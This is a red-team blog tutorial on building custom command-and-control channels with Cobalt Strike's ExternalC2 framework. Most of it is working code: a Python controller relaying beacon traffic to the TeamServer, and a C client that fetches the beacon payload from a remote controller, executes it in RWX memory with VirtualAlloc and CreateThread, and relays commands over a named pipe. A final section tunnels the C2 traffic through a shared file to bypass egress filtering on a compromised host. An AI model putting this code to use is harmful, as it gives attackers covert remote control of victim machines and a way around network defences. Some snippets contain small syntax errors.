Exploring Cobalt Strike's ExternalC2 framework
As many testers will know, achieving C2 communication can sometimes be a pain. Whether because of egress firewall rules or process restrictions, the simple days of reverse shells and reverse HTTP C2 channels are quickly coming to an end.
OK, maybe I exaggerated that a bit, but it’s certainly becoming harder. So, I wanted to look at some alternate routes to achieve C2 communication and with this, I came across Cobalt Strike’s ExternalC2 framework.
ExternalC2
ExternalC2 is a specification/framework introduced by Cobalt Strike, which allows hackers to extend the default HTTP(S)/DNS/SMB C2 communication channels offered. The full specification can be downloaded here.
Essentially this works by allowing the user to develop a number of components:
- Third-Party Controller - Responsible for creating a connection to the Cobalt Strike TeamServer, and communicating with a Third-Party Client on the target host using a custom C2 channel.
- Third-Party Client - Responsible for communicating with the Third-Party Controller using a custom C2 channel, and relaying commands to the SMB Beacon.
- SMB Beacon - The standard beacon which will be executed on the victim host.
Using the diagram from CS’s documentation, we can see just how this all fits together:
Here we can see that our custom C2 channel is transmitted between the Third-Party Controller and the Third-Party Client, both of which we can develop and control.
Now, before we roll up our sleeves, we need to understand how to communicate with the Team Server ExternalC2 interface.
First, we need to tell Cobalt Strike to start ExternalC2. This is done with an aggressor script calling the externalc2_start
function, and passing a port. Once the ExternalC2 service is up and running, we need to communicate using a custom protocol.
The protocol is actually pretty straight forward, consisting of a 4 byte little-endian length field, and a blob of data, for example:
To begin communication, our Third-Party Controller opens a connection to TeamServer and sends a number of options:
- arch - The architecture of the beacon to be used (x86 or x64).
- pipename - The name of the pipe used to communicate with the beacon.
- block - Time in milliseconds that TeamServer will block between tasks.
Once each option has been sent, the Third-Party Controller sends a go
command. This starts the ExternalC2 communication, and causes a beacon to be generated and sent. The Third-Party Controller then relays this SMB beacon payload to the Third-Party Client, which then needs to spawn the SMB beacon.
Once the SMB beacon has been spawned on the victim host, we need to establish a connection to enable passing of commands. This is done over a named pipe, and the protocol used between the Third-Party Client and the SMB Beacon is exactly the same as between the Third-Party Client and Third-Party Controller… a 4 byte little-endian length field, and trailing data.
OK, enough theory, let’s create a “Hello World” example to simply relay the communication over a network.
Hello World ExternalC2 Example
For this example, we will be using Python on the server side for our Third-Party Controller, and C for our client side Third-Party Client.
First, we need our aggressor script to tell Cobalt Strike to enable ExternalC2:
# start the External C2 server and bind to 0.0.0.0:2222
externalc2_start("0.0.0.0", 2222);
This opens up ExternalC2 on 0.0.0.0:2222.
Now that ExternalC2 is up and running, we can create our Third-Party Controller.
Let’s first establish our connection to the TeamServer ExternalC2 interface:
_socketTS = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
_socketTS.connect(("127.0.0.1", 2222))
Once established, we need to send over our options. We will create a few quick helper function to allow us to prefix our 4 byte length without manually crafting it each time:
def encodeFrame(data):
return struct.pack("<I", len(data)) + data
def sendToTS(data):
_socketTS.sendall(encodeFrame(data))
Now we can use these helper functions to send over our options:
# Send out config options
sendToTS("arch=x86")
sendToTS(“pipename=xpntest")
sendToTS("block=500")
sendToTS("go")
Now that Cobalt Strike knows we want an x86 SMB Beacon, we need to receive data. Again let’s create a few helper functions to handle the decoding of packets rather than manually decoding each time:
def decodeFrame(data):
len = struct.unpack("<I", data[0:3])
body = data[4:]
return (len, body)
def recvFromTS():
data = ""
_len = _socketTS.recv(4)
l = struct.unpack("<I",_len)[0]
while len(data) < l:
data += _socketTS.recv(l - len(data))
return data
This allows us to receive raw data with:
data = recvFromTS()
Next, we need to allow our Third-Party Client to connect to us using a C2 protocol of our choice. For now, we are simply going to use the same 4 byte length packet format for our C2 channel protocol. So first, we need a socket for the Third-Party Client to connect to:
_socketBeacon = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
_socketBeacon.bind(("0.0.0.0", 8081))
_socketBeacon.listen(1)
_socketClient = _socketBeacon.accept()[0]
Then, once a connection is received, we enter our recv/send loop where we receive data from the victim host, forward this onto Cobalt Strike, and receive data from Cobalt Strike, forwarding this to our victim host:
while(True):
print "Sending %d bytes to beacon" % len(data)
sendToBeacon(data)
data = recvFromBeacon()
print "Received %d bytes from beacon" % len(data)
print "Sending %d bytes to TS" % len(data)
sendToTS(data)
data = recvFromTS()
print "Received %d bytes from TS" % len(data)
Our finished example can be found here.
Now we have a working controller, we need to create our Third-Party Client. To make things a bit easier, we will use win32
and C for this, giving us access to Windows native API. Let’s start with a few helper functions. First, we need to connect to the Third-Party Controller. Here we will simply use WinSock2 to establish a TCP connection to the controller:
// Creates a new C2 controller connection for relaying commands
SOCKET createC2Socket(const char *addr, WORD port) {
WSADATA wsd;
SOCKET sd;
SOCKADDR_IN sin;
WSAStartup(0x0202, &wsd);
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.S_un.S_addr = inet_addr(addr);
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
connect(sd, (SOCKADDR*)&sin, sizeof(sin));
return sd;
}
Next, we need a way to receive data. This is similar to what we saw in our Python code, with our length prefix being used as an indicator as to how many data bytes we are receiving:
// Receives data from our C2 controller to be relayed to the injected beacon
char *recvData(SOCKET sd, DWORD *len) {
char *buffer;
DWORD bytesReceived = 0, totalLen = 0;
*len = 0;
recv(sd, (char *)len, 4, 0);
buffer = (char *)malloc(*len);
if (buffer == NULL)
return NULL;
while (totalLen < *len) {
bytesReceived = recv(sd, buffer + totalLen, *len - totalLen, 0);
totalLen += bytesReceived;
}
return buffer;
}
Similar, we need a way to return data over our C2 channel to the Controller:
// Sends data to our C2 controller received from our injected beacon
void sendData(SOCKET sd, const char *data, DWORD len) {
char *buffer = (char *)malloc(len + 4);
if (buffer == NULL):
return;
DWORD bytesWritten = 0, totalLen = 0;
*(DWORD *)buffer = len;
memcpy(buffer + 4, data, len);
while (totalLen < len + 4) {
bytesWritten = send(sd, buffer + totalLen, len + 4 - totalLen, 0);
totalLen += bytesWritten;
}
free(buffer);
}
Now we have the ability to communicate with our Controller, the first thing we want to do is to receive the beacon payload. This will be a raw x86 or x64 payload (depending on the options passed by the Third-Party Controller to Cobalt Strike), and is expected to be copied into memory before being executed. For example, let’s grab the beacon payload:
// Create a connection back to our C2 controller
SOCKET c2socket = createC2Socket("192.168.1.65", 8081);
payloadData = recvData(c2socket, &payloadLen);
And then for the purposes of this demo, we will use the Win32 VirtualAlloc
function to allocate an executable range of memory, and CreateThread
to execute the code:
HANDLE threadHandle;
DWORD threadId = 0;
char *alloc = (char *)VirtualAlloc(NULL, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (alloc == NULL)
return;
memcpy(alloc, payload, len);
threadHandle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)alloc, NULL, 0, &threadId);
Once the SMB Beacon is up and running, we need to connect to its named pipe. To do this, we will just repeatedly attempt to connect to our \\.\pipe\xpntest
pipe (remember, this pipename was passed as an option earlier on, and will be used by the SMB Beacon to receive commands):
// Loop until the pipe is up and ready to use
while (beaconPipe == INVALID_HANDLE_VALUE) {
// Create our IPC pipe for talking to the C2 beacon
Sleep(500);
beaconPipe = connectBeaconPipe("\\\\.\\pipe\\xpntest");
}
And then, once we have a connection, we can continue with our send/recv loop:
while (true) {
// Start the pipe dance
payloadData = recvFromBeacon(beaconPipe, &payloadLen);
if (payloadLen == 0) break;
sendData(c2socket, payloadData, payloadLen);
free(payloadData);
payloadData = recvData(c2socket, &payloadLen);
if (payloadLen == 0) break;
sendToBeacon(beaconPipe, payloadData, payloadLen);
free(payloadData);
}
And that’s it, we have the basics of our ExternalC2 service set up. The full code for the Third-Party Client can be found here.
Now, onto something a bit more interesting.
Transfer C2 over file
Let’s recap on what it is we control when attempting to create a custom C2 protocol:
From here, we can see that the data transfer between the Third-Party Controller and Third-Party Client is where we get to have some fun. Taking our previous “Hello World” example, let’s attempt to port this into something a bit more interesting, transferring data over a file read/write.
Why would we want to do this? Well, let’s say we are in a Windows domain environment and compromise a machine with very limited outbound access. One thing that is permitted however is access to a file share… see where I’m going with this :) By writing C2 data from a machine with access to our C2 server into a file on the share, and reading the data from the firewall’d machine, we have a way to run our Cobalt Strike beacon.
Let’s think about just how this will look:
Here we have actually introduced an additional element, which essentially tunnels data into and out of the file, and communicates with the Third Party Controller.
Again, for the purposes of this example, our communication between the Third-Party Controller and the “Internet Connected Host” will use the familiar 4 byte length prefix protocol, so there is no reason to modify our existing Python Third-Party Controller.
What we will do however, is split our previous Third-Party Client into 2 parts. One which is responsible for running on the “Internet Connected Host”, receiving data from the Third-Party Controller and writing this into a file. The second, which runs from the “Restricted Host”, reads data from the file, spawns the SMB Beacon, and passes data to this beacon.
I won’t go over the elements we covered above, but I’ll show one way the file transfer can be achieved.
First, we need to create the file we will be communicating over. For this we will just use CreateFileA
, however we must ensure that the FILE_SHARE_READ
and FILE_SHARE_WRITE
options are provided. This will allow both sides of the Third-Party Client to read and write to the file simultaneously:
HANDLE openC2FileServer(const char *filepath) {
HANDLE handle;
handle = CreateFileA(filepath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (handle == INVALID_HANDLE_VALUE)
printf("Error opening file: %x\n", GetLastError());
return handle;
}
Next, we need a way to serialising our C2 data into the file, as well as indicating which of the 2 clients should be processing data at any time.
To do this, a simple header can be used, for example:
struct file_c2_header {
DWORD id;
DWORD len;
};
The idea is that we simply poll on the id
field, which acts as a signal to each Third-Party Client of who should be reading and who writing data.
Putting together our file read and write helpers, we have something that looks like this:
void writeC2File(HANDLE c2File, const char *data, DWORD len, int id) {
char *fileBytes = NULL;
DWORD bytesWritten = 0;
fileBytes = (char *)malloc(8 + len);
if (fileBytes == NULL)
return;
// Add our file header
*(DWORD *)fileBytes = id;
*(DWORD *)(fileBytes+4) = len;
memcpy(fileBytes + 8, data, len);
// Make sure we are at the beginning of the file
SetFilePointer(c2File, 0, 0, FILE_BEGIN);
// Write our C2 data in
WriteFile(c2File, fileBytes, 8 + len, &bytesWritten, NULL);
printf("[*] Wrote %d bytes\n", bytesWritten);
}
char *readC2File(HANDLE c2File, DWORD *len, int expect) {
char header[8];
DWORD bytesRead = 0;
char *fileBytes = NULL;
memset(header, 0xFF, sizeof(header));
// Poll until we have our expected id in the header
while (*(DWORD *)header != expect) {
SetFilePointer(c2File, 0, 0, FILE_BEGIN);
ReadFile(c2File, header, 8, &bytesRead, NULL);
Sleep(100);
}
// Read out the expected length from the header
*len = *(DWORD *)(header + 4);
fileBytes = (char *)malloc(*len);
if (fileBytes == NULL)
return NULL;
// Finally, read out our C2 data
ReadFile(c2File, fileBytes, *len, &bytesRead, NULL);
printf("[*] Read %d bytes\n", bytesRead);
return fileBytes;
}
Here we see that we are adding our header to the file, and read/writing C2 data into the file respectively.
And that is pretty much all there is to it. All that is left to do is implement our recv/write/read/send loop and we have C2 operating across a file transfer.
The full code for the above Third-Party Controller can be found here. Let’s see this in action:
If you are interested in learning more about ExternalC2, there are a number of useful resources which can be found over at the Cobalt Strike ExternalC2 help page, https://www.cobaltstrike.com/help-externalc2.